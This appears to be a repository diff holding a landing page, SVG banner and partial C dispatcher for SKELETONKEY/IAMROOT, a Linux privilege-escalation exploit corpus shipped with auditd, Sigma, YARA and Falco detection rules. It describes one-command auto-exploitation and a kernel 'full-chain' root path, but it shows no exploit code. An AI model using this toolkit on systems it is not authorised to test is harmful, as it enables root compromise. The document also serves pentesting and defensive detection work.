<div class="rule-row"><span>auditd</span><span class="rule-bar"><i style="width:96.7%"></i></span><span>30/31</span></div>
|
||||
<div class="rule-row"><span>sigma</span><span class="rule-bar"><i style="width:100%"></i></span><span>31/31</span></div>
|
||||
<div class="rule-row"><span>yara</span><span class="rule-bar"><i style="width:90.3%"></i></span><span>28/31</span></div>
|
||||
<div class="rule-row"><span>falco</span><span class="rule-bar"><i style="width:96.7%"></i></span><span>30/31</span></div>
|
||||
</div>
|
||||
</article>
|
||||
|
||||
<article class="bento-card bento-kev">
|
||||
<div class="bento-icon">★</div>
|
||||
<h3>CISA KEV prioritized</h3>
|
||||
<p>
|
||||
13 of 41 CVEs in the corpus are in CISA's Known Exploited
|
||||
Vulnerabilities catalog — actively exploited in the wild.
|
||||
Refreshed on demand via <code>tools/refresh-cve-metadata.py</code>.
|
||||
</p>
|
||||
</article>
|
||||
|
||||
<article class="bento-card">
|
||||
<div class="bento-icon">🧬</div>
|
||||
<h3>OPSEC notes per exploit</h3>
|
||||
<p>
|
||||
Each module ships a runtime-footprint paragraph: files, dmesg,
|
||||
syscall observables, network, persistence. The inverse of the
|
||||
detection rules — what an attacker would leave behind on
|
||||
<em>your</em> host.
|
||||
</p>
|
||||
</article>
|
||||
|
||||
<article class="bento-card bento-lg">
|
||||
<div class="bento-icon">🎯</div>
|
||||
<h3>One host fingerprint, every module</h3>
|
||||
<p>
|
||||
<code>core/host.c</code> probes kernel / arch / distro / userns /
|
||||
apparmor / selinux / lockdown / sudo version / polkit version
|
||||
<em>once</em> at startup. Every <code>detect()</code> reads the
|
||||
same cached snapshot, so verdicts stay coherent across the
|
||||
corpus.
|
||||
</p>
|
||||
<pre class="bento-code">struct skeletonkey_host {
|
||||
struct kernel_version kernel;
|
||||
char arch[32], distro_id[64];
|
||||
bool unprivileged_userns_allowed;
|
||||
bool apparmor_restrict_userns;
|
||||
bool kpti_enabled, selinux_enforcing;
|
||||
char meltdown_mitigation[64];
|
||||
char sudo_version[64], polkit_version[64];
|
||||
...
|
||||
};</pre>
|
||||
</article>
|
||||
|
||||
<article class="bento-card">
|
||||
<div class="bento-icon">📡</div>
|
||||
<h3>JSON for pipelines</h3>
|
||||
<p>
|
||||
<code>--scan --json</code> emits a stable schema (see
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/JSON_SCHEMA.md">JSON_SCHEMA.md</a>)
|
||||
with triage metadata, opsec notes, and rule coverage embedded.
|
||||
Ready for Splunk / Elastic / Sentinel ingest.
|
||||
</p>
|
||||
</article>
|
||||
|
||||
<article class="bento-card">
|
||||
<div class="bento-icon">🔒</div>
|
||||
<h3>No SaaS. No telemetry.</h3>
|
||||
<p>
|
||||
One static binary. No phone-home, no analytics, no cloud
|
||||
accounts. Reads <code>/proc</code> + <code>/sys</code>, runs the
|
||||
probe, exits. JSON or plain text — your pipeline owns the data.
|
||||
</p>
|
||||
</article>
|
||||
|
||||
<article class="bento-card bento-vfy">
|
||||
<div class="bento-icon">✓</div>
|
||||
<h3>29 modules empirically verified</h3>
|
||||
<p>
|
||||
<code>tools/verify-vm/</code> spins up known-vulnerable
|
||||
kernels (stock distro + mainline from kernel.ubuntu.com), runs
|
||||
<code>--explain --active</code> per module, and records the
|
||||
verdict. <strong>29 of 41 CVEs</strong> confirmed against
|
||||
real Linux across Ubuntu 18.04 / 20.04 / 22.04 + Debian 11 / 12
|
||||
+ mainline 5.4.0-26 / 5.15.5 / 6.1.10 / 6.19.7. Records baked into the binary;
|
||||
<code>--list</code> shows ✓ per module.
|
||||
</p>
|
||||
</article>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- ──────────────── MODULE CORPUS ──────────────── -->
|
||||
<section id="corpus" class="section reveal">
|
||||
<div class="container">
|
||||
<div class="section-head">
|
||||
<span class="section-tag">corpus</span>
|
||||
<h2>41 CVEs across 10 years. ★ = actively exploited (CISA KEV).</h2>
|
||||
</div>
|
||||
|
||||
<h3 class="corpus-h" data-color="green">
|
||||
<span class="corpus-dot green"></span>
|
||||
Lands root on a vulnerable host
|
||||
<span class="corpus-h-sub">structural escapes + page-cache writes; no per-kernel offsets needed</span>
|
||||
</h3>
|
||||
<div class="pills">
|
||||
<span class="pill green">copy_fail</span>
|
||||
<span class="pill green">copy_fail_gcm</span>
|
||||
<span class="pill green">dirty_frag_esp</span>
|
||||
<span class="pill green">dirty_frag_esp6</span>
|
||||
<span class="pill green">dirty_frag_rxrpc</span>
|
||||
<span class="pill green kev">★ dirty_pipe</span>
|
||||
<span class="pill green kev">★ dirty_cow</span>
|
||||
<span class="pill green kev">★ pwnkit</span>
|
||||
<span class="pill green kev">★ overlayfs</span>
|
||||
<span class="pill green kev">★ overlayfs_setuid</span>
|
||||
<span class="pill green">cgroup_release_agent</span>
|
||||
<span class="pill green kev">★ ptrace_traceme</span>
|
||||
<span class="pill green">sudoedit_editor</span>
|
||||
<span class="pill green">sudo_host</span>
|
||||
<span class="pill green">entrybleed</span>
|
||||
</div>
|
||||
|
||||
<h3 class="corpus-h" data-color="yellow">
|
||||
<span class="corpus-dot yellow"></span>
|
||||
Fires kernel primitive · opt-in <code>--full-chain</code>
|
||||
<span class="corpus-h-sub">honest <code>EXPLOIT_FAIL</code> default; <code>--full-chain</code> runs the shared modprobe_path finisher</span>
|
||||
</h3>
|
||||
<div class="pills">
|
||||
<span class="pill yellow kev">★ nf_tables</span>
|
||||
<span class="pill yellow">nft_set_uaf</span>
|
||||
<span class="pill yellow">nft_fwd_dup</span>
|
||||
<span class="pill yellow">nft_payload</span>
|
||||
<span class="pill yellow kev">★ netfilter_xtcompat</span>
|
||||
<span class="pill yellow">af_packet</span>
|
||||
<span class="pill yellow">af_packet2</span>
|
||||
<span class="pill yellow">af_unix_gc</span>
|
||||
<span class="pill yellow">cls_route4</span>
|
||||
<span class="pill yellow kev">★ fuse_legacy</span>
|
||||
<span class="pill yellow">stackrot</span>
|
||||
<span class="pill yellow kev">★ sudo_samedit</span>
|
||||
<span class="pill yellow">sequoia</span>
|
||||
<span class="pill yellow">vmwgfx</span>
|
||||
<span class="pill yellow">ptrace_pidfd</span>
|
||||
<span class="pill yellow">cifswitch</span>
|
||||
<span class="pill yellow">nft_catchall</span>
|
||||
<span class="pill yellow">bad_epoll</span>
|
||||
<span class="pill yellow">ghostlock</span>
|
||||
<span class="pill yellow">refluxfs</span>
|
||||
</div>
|
||||
|
||||
<p class="corpus-foot">
|
||||
Full inventory with kernel ranges, mitigations, and detection
|
||||
coverage:
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CVES.md">CVES.md</a>
|
||||
·
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/KEV_CROSSREF.md">KEV cross-reference</a>
|
||||
·
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/CVE_METADATA.json">CVE_METADATA.json</a>
|
||||
</p>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- ──────────────── AUDIENCE ──────────────── -->
|
||||
<section class="section section-audience reveal">
|
||||
<div class="container">
|
||||
<div class="section-head">
|
||||
<span class="section-tag">who it's for</span>
|
||||
<h2>Same project. Both sides of the engagement.</h2>
|
||||
</div>
|
||||
|
||||
<div class="audience-grid">
|
||||
<div class="audience-card audience-red">
|
||||
<div class="audience-icon">🔴</div>
|
||||
<h3>Red team / pentesters</h3>
|
||||
<p>
|
||||
<code>--auto</code> picks the safest exploit and runs it. Honest
|
||||
scope reporting — never claims root it didn't actually get.
|
||||
Per-exploit OPSEC notes tell you what telemetry you'll leave.
|
||||
No more curating stale PoC repos.
|
||||
</p>
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/README.md" class="audience-link">Walkthrough →</a>
|
||||
</div>
|
||||
<div class="audience-card audience-blue">
|
||||
<div class="audience-icon">🔵</div>
|
||||
<h3>Blue team / SOC</h3>
|
||||
<p>
|
||||
One command ships SIEM coverage for the entire corpus.
|
||||
<code>--explain</code> renders a triage briefing per CVE with
|
||||
CWE / ATT&CK / KEV / OPSEC — paste into the ticket.
|
||||
KEV-prioritized so you fix what attackers are already using.
|
||||
</p>
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/DETECTION_PLAYBOOK.md" class="audience-link">Playbook →</a>
|
||||
</div>
|
||||
<div class="audience-card audience-gray">
|
||||
<div class="audience-icon">🛠</div>
|
||||
<h3>Sysadmins / IT</h3>
|
||||
<p>
|
||||
<code>--scan</code> works without sudo. JSON output for CI
|
||||
gates. Fleet-scan helper bundled. Compatible with everything
|
||||
back to glibc 2.17 via the static-musl binary. No SaaS,
|
||||
no analytics, no cloud accounts.
|
||||
</p>
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/JSON_SCHEMA.md" class="audience-link">JSON schema →</a>
|
||||
</div>
|
||||
<div class="audience-card audience-purple">
|
||||
<div class="audience-icon">🎓</div>
|
||||
<h3>Researchers / CTF</h3>
|
||||
<p>
|
||||
41 CVEs, 10-year span, each with the original PoC author
|
||||
credited and the kernel-range citation auditable.
|
||||
<code>--explain</code> shows the reasoning chain; detection
|
||||
rules let you practice both sides. Source is the documentation.
|
||||
</p>
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ARCHITECTURE.md" class="audience-link">Architecture →</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- ──────────────── HONESTY CALLOUT ──────────────── -->
|
||||
<section class="section section-callout reveal">
|
||||
<div class="container">
|
||||
<div class="callout">
|
||||
<div class="callout-mark">✓</div>
|
||||
<div>
|
||||
<h3>The verified-vs-claimed bar</h3>
|
||||
<p>
|
||||
Most public PoC repos hardcode offsets for one kernel build and
|
||||
silently break elsewhere. <strong>SKELETONKEY refuses to ship
|
||||
fabricated offsets.</strong> The shared <code>--full-chain</code>
|
||||
finisher returns <code>EXPLOIT_OK</code> only when a setuid
|
||||
bash sentinel file <em>actually appears</em>. Modules with a
|
||||
primitive but no portable cred-overwrite chain default to
|
||||
firing the primitive + grooming the slab + recording a witness,
|
||||
then return <code>EXPLOIT_FAIL</code> with diagnostic.
|
||||
Operators populate the offset table once per kernel via
|
||||
<code>--dump-offsets</code> and upstream the entry via PR.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- ──────────────── QUICKSTART ──────────────── -->
|
||||
<section id="quickstart" class="section reveal">
|
||||
<div class="container">
|
||||
<div class="section-head">
|
||||
<span class="section-tag">quickstart</span>
|
||||
<h2>Five commands.</h2>
|
||||
</div>
|
||||
|
||||
<div class="tabs" role="tablist">
|
||||
<button class="tab active" data-tab="install" role="tab">install</button>
|
||||
<button class="tab" data-tab="scan" role="tab">scan</button>
|
||||
<button class="tab" data-tab="explain" role="tab">explain</button>
|
||||
<button class="tab" data-tab="auto" role="tab">auto</button>
|
||||
<button class="tab" data-tab="detect" role="tab">detect-rules</button>
|
||||
</div>
|
||||
|
||||
<div class="tab-panel active" data-tab="install">
|
||||
<pre class="code"><span class="cmt"># install (x86_64 / arm64; checksum-verified)</span>
|
||||
<span class="prompt">$</span> curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh
|
||||
<span class="cmt"># default is the musl-static x86_64 binary — works back to glibc 2.17</span></pre>
|
||||
</div>
|
||||
<div class="tab-panel" data-tab="scan">
|
||||
<pre class="code"><span class="cmt"># inventory — no sudo needed</span>
|
||||
<span class="prompt">$</span> skeletonkey --scan
|
||||
<span class="cmt"># or machine-readable for a SIEM</span>
|
||||
<span class="prompt">$</span> skeletonkey --scan --json | jq '.findings[] | select(.verdict == "VULNERABLE")'</pre>
|
||||
</div>
|
||||
<div class="tab-panel" data-tab="explain">
|
||||
<pre class="code"><span class="cmt"># one-page operator briefing for a single CVE</span>
|
||||
<span class="prompt">$</span> skeletonkey --explain nf_tables
|
||||
<span class="cmt"># shows CVE/CWE/ATT&CK/KEV header, host fingerprint, live trace,</span>
|
||||
<span class="cmt"># verdict, OPSEC footprint, detection coverage. Paste into your ticket.</span></pre>
|
||||
</div>
|
||||
<div class="tab-panel" data-tab="auto">
|
||||
<pre class="code"><span class="cmt"># pick the safest exploit and run it</span>
|
||||
<span class="prompt">$</span> skeletonkey --auto --i-know
|
||||
<span class="cmt"># --dry-run for "what would it do?" without launching</span>
|
||||
<span class="prompt">$</span> skeletonkey --auto --dry-run</pre>
|
||||
</div>
|
||||
<div class="tab-panel" data-tab="detect">
|
||||
<pre class="code"><span class="cmt"># deploy SIEM coverage (needs sudo to write to /etc/audit/rules.d/)</span>
|
||||
<span class="prompt">$</span> skeletonkey --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules
|
||||
<span class="prompt">$</span> sudo augenrules --load
|
||||
|
||||
<span class="cmt"># or in YAML for falco / sigma / yara</span>
|
||||
<span class="prompt">$</span> skeletonkey --detect-rules --format=falco > /etc/falco/skeletonkey_rules.yaml</pre>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- ──────────────── ROADMAP / TIMELINE ──────────────── -->
|
||||
<section class="section section-timeline reveal">
|
||||
<div class="container">
|
||||
<div class="section-head">
|
||||
<span class="section-tag">where we are</span>
|
||||
<h2>Recently shipped · in flight · next.</h2>
|
||||
</div>
|
||||
|
||||
<div class="timeline">
|
||||
<div class="tl-col tl-shipped">
|
||||
<div class="tl-tag">shipped</div>
|
||||
<ul>
|
||||
<li><strong>29 of 41 CVEs empirically verified</strong> in real Linux VMs</li>
|
||||
<li><strong>kernel.ubuntu.com/mainline/</strong> kernel fetch path — unblocks pin-not-in-apt targets</li>
|
||||
<li>Per-module <code>verified_on[]</code> table baked into the binary</li>
|
||||
<li><strong>--explain mode</strong> — one-page operator briefing per CVE</li>
|
||||
<li><strong>OPSEC notes</strong> — per-module runtime footprint</li>
|
||||
<li><strong>CISA KEV + NVD CWE + MITRE ATT&CK</strong> metadata pipeline</li>
|
||||
<li>151 detection rules across all four SIEM formats</li>
|
||||
<li><code>core/host.c</code> shared host-fingerprint refactor</li>
|
||||
<li>88-test harness (kernel_range + detect integration)</li>
|
||||
</ul>
|
||||
</div>
|
||||
<div class="tl-col tl-active">
|
||||
<div class="tl-tag">in flight</div>
|
||||
<ul>
|
||||
<li>9 deferred TOO_TIGHT kernel-range drift findings</li>
|
||||
<li>PackageKit provisioner so pack2theroot can hit the VULNERABLE path</li>
|
||||
<li>Custom Vagrant box for kernels ≤ 4.4 (unblock dirty_cow verification)</li>
|
||||
</ul>
|
||||
</div>
|
||||
<div class="tl-col tl-next">
|
||||
<div class="tl-tag">next</div>
|
||||
<ul>
|
||||
<li>arm64 musl-static binary (Raspberry-Pi-class deployments)</li>
|
||||
<li>Mass-fleet scan aggregator → heat-map dashboard</li>
|
||||
<li>SIEM query templates (Splunk SPL, Elastic KQL, Sentinel KQL)</li>
|
||||
<li>CWE / ATT&CK filter for <code>--scan --json</code></li>
|
||||
<li>CI hardening: clang-tidy, scan-build, drift-check job</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<p class="tl-foot">
|
||||
Full roadmap and contribution guide:
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/ROADMAP.md">ROADMAP.md</a>
|
||||
·
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CONTRIBUTING.md">CONTRIBUTING.md</a>
|
||||
</p>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- ──────────────── FOOTER ──────────────── -->
|
||||
<footer class="footer">
|
||||
<div class="container footer-inner">
|
||||
<div class="footer-col">
|
||||
<div class="footer-brand">
|
||||
<span class="nav-mark" aria-hidden="true">◆</span>
|
||||
SKELETONKEY
|
||||
</div>
|
||||
<p class="footer-tag">
|
||||
Curated Linux LPE corpus with SOC-ready detection rules. One
|
||||
binary, no SaaS, no telemetry. MIT licensed.
|
||||
</p>
|
||||
</div>
|
||||
<div class="footer-col">
|
||||
<h4>Project</h4>
|
||||
<ul>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY">Source</a></li>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/releases">Releases</a></li>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CVES.md">CVE inventory</a></li>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/ROADMAP.md">Roadmap</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
<div class="footer-col">
|
||||
<h4>Docs</h4>
|
||||
<ul>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ARCHITECTURE.md">Architecture</a></li>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/DETECTION_PLAYBOOK.md">Detection playbook</a></li>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/JSON_SCHEMA.md">JSON schema</a></li>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/OFFSETS.md">Offsets</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
<div class="footer-col">
|
||||
<h4>Ethics</h4>
|
||||
<ul>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ETHICS.md">ETHICS.md</a></li>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/DEFENDERS.md">For defenders</a></li>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CONTRIBUTING.md">Contribute</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
<div class="container footer-bottom">
|
||||
<p>
|
||||
Each module credits the original CVE reporter and PoC author in its
|
||||
<code>NOTICE.md</code>. The research credit belongs to the people
|
||||
who found the bugs.
|
||||
</p>
|
||||
<p class="footer-meta">
|
||||
v0.9.11 · MIT · <a href="https://github.com/KaraZajac/SKELETONKEY">github.com/KaraZajac/SKELETONKEY</a>
|
||||
</p>
|
||||
</div>
|
||||
</footer>
|
||||
|
||||
<script src="app.js" defer></script>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
BIN
Binary file not shown.
|
After Width: | Height: | Size: 73 KiB |
+85
@@ -0,0 +1,85 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="1200" height="630" viewBox="0 0 1200 630">
|
||||
<defs>
|
||||
<linearGradient id="bg" x1="0" y1="0" x2="1" y2="1">
|
||||
<stop offset="0" stop-color="#07070d"/>
|
||||
<stop offset="1" stop-color="#0c0c16"/>
|
||||
</linearGradient>
|
||||
<linearGradient id="brand" x1="0" y1="0" x2="1" y2="0">
|
||||
<stop offset="0" stop-color="#10b981"/>
|
||||
<stop offset="1" stop-color="#06b6d4"/>
|
||||
</linearGradient>
|
||||
<radialGradient id="glow1" cx="0.2" cy="0.3" r="0.6">
|
||||
<stop offset="0" stop-color="#10b981" stop-opacity="0.18"/>
|
||||
<stop offset="1" stop-color="#10b981" stop-opacity="0"/>
|
||||
</radialGradient>
|
||||
<radialGradient id="glow2" cx="0.85" cy="0.8" r="0.5">
|
||||
<stop offset="0" stop-color="#a855f7" stop-opacity="0.16"/>
|
||||
<stop offset="1" stop-color="#a855f7" stop-opacity="0"/>
|
||||
</radialGradient>
|
||||
</defs>
|
||||
|
||||
<!-- backgrounds -->
|
||||
<rect width="1200" height="630" fill="url(#bg)"/>
|
||||
<rect width="1200" height="630" fill="url(#glow1)"/>
|
||||
<rect width="1200" height="630" fill="url(#glow2)"/>
|
||||
|
||||
<!-- diamond mark -->
|
||||
<g transform="translate(80,140)">
|
||||
<rect x="0" y="0" width="36" height="36" transform="rotate(45 18 18)" fill="url(#brand)"/>
|
||||
</g>
|
||||
|
||||
<!-- wordmark -->
|
||||
<text x="142" y="170" font-family="'Space Grotesk','Inter',sans-serif" font-weight="700" font-size="68" fill="#ecedf7" letter-spacing="-2">
|
||||
SKELETONKEY
|
||||
</text>
|
||||
|
||||
<!-- tagline -->
|
||||
<text x="80" y="240" font-family="'Inter',sans-serif" font-size="30" fill="#c5c5d3" font-weight="500">
|
||||
Curated Linux LPE corpus.
|
||||
</text>
|
||||
<text x="80" y="278" font-family="'Inter',sans-serif" font-size="30" fill="#c5c5d3" font-weight="500">
|
||||
Every year 2016 → 2026. 28 of 34 verified.
|
||||
</text>
|
||||
|
||||
<!-- stat chips -->
|
||||
<g transform="translate(80,360)">
|
||||
<!-- 39 modules -->
|
||||
<rect x="0" y="0" width="190" height="58" rx="29" fill="#161628" stroke="#25253c"/>
|
||||
<text x="28" y="38" font-family="'JetBrains Mono',monospace" font-weight="700" font-size="22" fill="#ecedf7">39</text>
|
||||
<text x="64" y="37" font-family="'Inter',sans-serif" font-size="16" fill="#8a8a9d">modules</text>
|
||||
|
||||
<!-- 28 VM-verified -->
|
||||
<rect x="206" y="0" width="240" height="58" rx="29" fill="#161628" stroke="#10b981" stroke-opacity="0.5"/>
|
||||
<text x="234" y="38" font-family="'JetBrains Mono',monospace" font-weight="700" font-size="22" fill="#34d399">28</text>
|
||||
<text x="270" y="37" font-family="'Inter',sans-serif" font-size="16" fill="#8a8a9d">✓ VM-verified</text>
|
||||
|
||||
<!-- 12 KEV -->
|
||||
<rect x="482" y="0" width="218" height="58" rx="29" fill="#161628" stroke="#ef4444" stroke-opacity="0.4"/>
|
||||
<text x="510" y="38" font-family="'JetBrains Mono',monospace" font-weight="700" font-size="22" fill="#ef4444">12</text>
|
||||
<text x="546" y="37" font-family="'Inter',sans-serif" font-size="16" fill="#8a8a9d">★ in CISA KEV</text>
|
||||
|
||||
<!-- 151 rules -->
|
||||
<rect x="736" y="0" width="232" height="58" rx="29" fill="#161628" stroke="#25253c"/>
|
||||
<text x="764" y="38" font-family="'JetBrains Mono',monospace" font-weight="700" font-size="22" fill="#ecedf7">151</text>
|
||||
<text x="810" y="37" font-family="'Inter',sans-serif" font-size="16" fill="#8a8a9d">detection rules</text>
|
||||
</g>
|
||||
|
||||
<!-- terminal mockup -->
|
||||
<g transform="translate(80,478)">
|
||||
<rect x="0" y="0" width="1040" height="92" rx="12" fill="#0a0a14" stroke="#25253c"/>
|
||||
<!-- bar -->
|
||||
<circle cx="22" cy="22" r="6" fill="#ff5f57"/>
|
||||
<circle cx="42" cy="22" r="6" fill="#febc2e"/>
|
||||
<circle cx="62" cy="22" r="6" fill="#28c840"/>
|
||||
<line x1="0" y1="44" x2="1040" y2="44" stroke="#1c1c2d"/>
|
||||
<text x="24" y="78" font-family="'JetBrains Mono',monospace" font-size="20" fill="#ecedf7">
|
||||
<tspan fill="#10b981">$</tspan> skeletonkey --explain nf_tables <tspan fill="#5b5b75"># operator briefing in one command</tspan>
|
||||
</text>
|
||||
</g>
|
||||
|
||||
<!-- subtle url at very bottom -->
|
||||
<text x="1120" y="610" font-family="'JetBrains Mono',monospace" font-size="14" fill="#5b5b75" text-anchor="end">
|
||||
skeletonkey.netslum.io
|
||||
</text>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 4.0 KiB |
+1032
File diff suppressed because it is too large
Load Diff
@@ -1,804 +0,0 @@
|
||||
/*
|
||||
* IAMROOT — top-level dispatcher
|
||||
*
|
||||
* Usage:
|
||||
* iamroot --scan # run every module's detect()
|
||||
* iamroot --scan --json # machine-readable output
|
||||
* iamroot --scan --active # invasive probes (still no /etc/passwd writes)
|
||||
* iamroot --list # list registered modules
|
||||
* iamroot --exploit <name> --i-know # run a named module's exploit
|
||||
* iamroot --mitigate <name> # apply a temporary mitigation
|
||||
* iamroot --cleanup <name> # undo --exploit or --mitigate side effects
|
||||
*
|
||||
* Phase 1 scope: thin dispatcher over the copy_fail_family bridge.
|
||||
* Future phases add: --detect-rules export, multi-family registry,
|
||||
* fingerprint pre-pass, etc.
|
||||
*/
|
||||
|
||||
#include "core/module.h"
|
||||
#include "core/registry.h"
|
||||
#include "core/offsets.h"
|
||||
|
||||
#include <time.h>
|
||||
|
||||
#include <getopt.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#define IAMROOT_VERSION "0.3.1"
|
||||
|
||||
static const char BANNER[] =
|
||||
"\n"
|
||||
" ██╗ █████╗ ███╗ ███╗██████╗ ██████╗ ██████╗ ████████╗\n"
|
||||
" ██║██╔══██╗████╗ ████║██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝\n"
|
||||
" ██║███████║██╔████╔██║██████╔╝██║ ██║██║ ██║ ██║ \n"
|
||||
" ██║██╔══██║██║╚██╔╝██║██╔══██╗██║ ██║██║ ██║ ██║ \n"
|
||||
" ██║██║ ██║██║ ╚═╝ ██║██║ ██║╚██████╔╝╚██████╔╝ ██║ \n"
|
||||
" ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ \n"
|
||||
" Curated Linux kernel LPE corpus — v" IAMROOT_VERSION "\n"
|
||||
" AUTHORIZED TESTING ONLY — see docs/ETHICS.md\n";
|
||||
|
||||
static void usage(const char *prog)
|
||||
{
|
||||
fprintf(stderr,
|
||||
"Usage: %s [MODE] [OPTIONS]\n"
|
||||
"\n"
|
||||
"Modes (default: --scan):\n"
|
||||
" --scan run every module's detect() across the host\n"
|
||||
" --list list registered modules and exit\n"
|
||||
" --exploit <name> run named module's exploit (REQUIRES --i-know)\n"
|
||||
" --mitigate <name> apply named module's mitigation\n"
|
||||
" --cleanup <name> undo named module's exploit/mitigate side effects\n"
|
||||
" --detect-rules dump detection rules for every module\n"
|
||||
" (combine with --format=auditd|sigma|yara|falco)\n"
|
||||
" --module-info <name> full metadata + rule bodies for one module\n"
|
||||
" (combine with --json for machine-readable output)\n"
|
||||
" --audit system-hygiene scan: setuid binaries, world-writable\n"
|
||||
" files in /etc, file capabilities, sudo NOPASSWD\n"
|
||||
" (complements --scan; answers 'is this box\n"
|
||||
" generally privesc-exposed?')\n"
|
||||
" --dump-offsets walk /proc/kallsyms + /boot/System.map and emit a\n"
|
||||
" C struct-entry ready to paste into core/offsets.c's\n"
|
||||
" kernel_table[] for the --full-chain finisher.\n"
|
||||
" Needs root (or kernel.kptr_restrict=0) to read\n"
|
||||
" kallsyms. See docs/OFFSETS.md.\n"
|
||||
" --version print version\n"
|
||||
" --help this message\n"
|
||||
"\n"
|
||||
"Options:\n"
|
||||
" --i-know authorization gate for --exploit modes\n"
|
||||
" --active in --scan, do invasive sentinel probes (no /etc/passwd writes)\n"
|
||||
" --no-shell in --exploit modes, prepare but don't drop to shell\n"
|
||||
" --full-chain in --exploit modes, attempt full root-pop after primitive\n"
|
||||
" (the 🟡 modules return primitive-only by default; with\n"
|
||||
" --full-chain they continue to leak → arb-write →\n"
|
||||
" modprobe_path overwrite. Requires resolvable kernel\n"
|
||||
" offsets — env vars, /proc/kallsyms, or /boot/System.map.\n"
|
||||
" See docs/OFFSETS.md.)\n"
|
||||
" --json machine-readable output (for SIEM/CI)\n"
|
||||
" --no-color disable ANSI color codes\n"
|
||||
" --format <f> with --detect-rules: auditd (default), sigma, yara, falco\n"
|
||||
"\n"
|
||||
"Exit codes:\n"
|
||||
" 0 not vulnerable / OK 2 vulnerable 5 exploit succeeded\n"
|
||||
" 1 test error 3 exploit failed 4 preconditions missing\n",
|
||||
prog);
|
||||
}
|
||||
|
||||
enum mode {
|
||||
MODE_SCAN,
|
||||
MODE_LIST,
|
||||
MODE_EXPLOIT,
|
||||
MODE_MITIGATE,
|
||||
MODE_CLEANUP,
|
||||
MODE_DETECT_RULES,
|
||||
MODE_MODULE_INFO,
|
||||
MODE_AUDIT,
|
||||
MODE_DUMP_OFFSETS,
|
||||
MODE_HELP,
|
||||
MODE_VERSION,
|
||||
};
|
||||
|
||||
enum detect_format {
|
||||
FMT_AUDITD,
|
||||
FMT_SIGMA,
|
||||
FMT_YARA,
|
||||
FMT_FALCO,
|
||||
};
|
||||
|
||||
static const char *result_str(iamroot_result_t r)
|
||||
{
|
||||
switch (r) {
|
||||
case IAMROOT_OK: return "OK";
|
||||
case IAMROOT_TEST_ERROR: return "ERROR";
|
||||
case IAMROOT_VULNERABLE: return "VULNERABLE";
|
||||
case IAMROOT_EXPLOIT_FAIL: return "EXPLOIT_FAIL";
|
||||
case IAMROOT_PRECOND_FAIL: return "PRECOND_FAIL";
|
||||
case IAMROOT_EXPLOIT_OK: return "EXPLOIT_OK";
|
||||
}
|
||||
return "?";
|
||||
}
|
||||
|
||||
/* JSON-escape a string for inclusion in stdout output. Quick + safe:
|
||||
* escapes \" and \\ and newlines; passes through ASCII printable.
|
||||
* Caller must call json_escape_done() to free the result. */
|
||||
static char *json_escape(const char *s)
|
||||
{
|
||||
if (s == NULL) return NULL;
|
||||
size_t n = strlen(s);
|
||||
char *out = malloc(n * 2 + 1); /* worst case: every char doubles */
|
||||
if (!out) return NULL;
|
||||
char *p = out;
|
||||
for (size_t i = 0; i < n; i++) {
|
||||
unsigned char c = (unsigned char)s[i];
|
||||
if (c == '"' || c == '\\') { *p++ = '\\'; *p++ = c; }
|
||||
else if (c == '\n') { *p++ = '\\'; *p++ = 'n'; }
|
||||
else if (c == '\r') { *p++ = '\\'; *p++ = 'r'; }
|
||||
else if (c == '\t') { *p++ = '\\'; *p++ = 't'; }
|
||||
else if (c < 0x20) { /* skip — should be rare in our strings */ }
|
||||
else *p++ = c;
|
||||
}
|
||||
*p = 0;
|
||||
return out;
|
||||
}
|
||||
|
||||
static void emit_module_json(const struct iamroot_module *m, bool include_rules)
|
||||
{
|
||||
